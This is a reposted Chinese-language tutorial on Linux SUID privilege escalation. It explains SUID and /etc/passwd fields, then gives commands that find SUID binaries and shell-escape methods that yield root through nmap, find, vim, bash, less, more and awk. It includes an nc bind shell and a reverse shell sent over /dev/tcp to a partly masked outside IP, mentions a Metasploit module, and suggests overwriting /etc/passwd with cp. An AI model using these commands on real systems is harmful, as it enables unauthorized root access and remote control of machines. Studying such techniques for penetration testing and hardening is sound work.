admin管理员组文章数量:1660165
什么是suid
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
linux引入了3个文件来管理用户组:
1. /etc/passwd存放用户信息。
2. /etc/shadow存放用户密码信息。
3. /etc/group存放组信息。
在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
用户信息/etc/passwd每行共有7个字段冒号隔开:
字段1为用户名。
字段2为用户的密码。
字段3为指UID,每个用户都有自己的uid。
字段4为组UID,每个用户都有不同的uid。
字段5为解释说明的字段。
字段6为指用户的家目录。
字段7为指登录shell,用户登录shell,当前为/bin/bash表示可以登录,/sbin/nologin标识不被授权登录。
利用特点
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
只有root用户的uid是0,如果黑客把一个普通用户的uid修改为0,那么他只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。
假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
利用此特性,就可通过suid进行提权。
设置suid
设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
查看文件权限
chmod u+s binexec
可以看到binexec
文件的权限描述符由-rwxr-xr-x
变为-rwsr-xr-x
,已经获得了suid权限。
可执行文件提权
具有suid权限的二进制可执行文件如下:
nmap
vim
find
bash
more
less
nano
cp
awk
如下命令可以找到正在系统上运行的所有suid可执行文件。
这个命令将从/目录中查找具有suid权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以上所有的二进制文件都将以root权限运行,随便找一个。
可以看到其设置了suid权限且属主为root。
nmap
适用版本:nmap2.02至5.21。
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令。
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中通过如下命令提权
nmap> !sh
sh-3.2# whoami
root
msf当中也有利用nmap进行提权的模块。
exploit/unix/local/setuid_nmap
find
find用来在系统中查找文件,它也有执行命令的能力。如果配置为使用suid权限运行,则可以通过find执行的命令都将以root身份去运行。
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root
也可以利用nc 广播和反弹shell
广播shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上:
nc 靶机ip 4444
反弹shell:
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lvvp 4444
vim
vim如果以suid运行,它将继承root用户的权限,可以读取系统上的所有文件。
vim.tiny /etc/passwd
通过vim进入shell
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
bash
以root身份打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less
less命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh
more
more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh
使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!
命令进入shell。
cp
使用cp覆盖原来的/etc/passwd
文件
awk
awk命令进入shell:
awk 'BEGIN {system("/bin/bash")}'
版权声明:本文标题:linux系统suid提权 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dianzi/1725677443a1035929.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论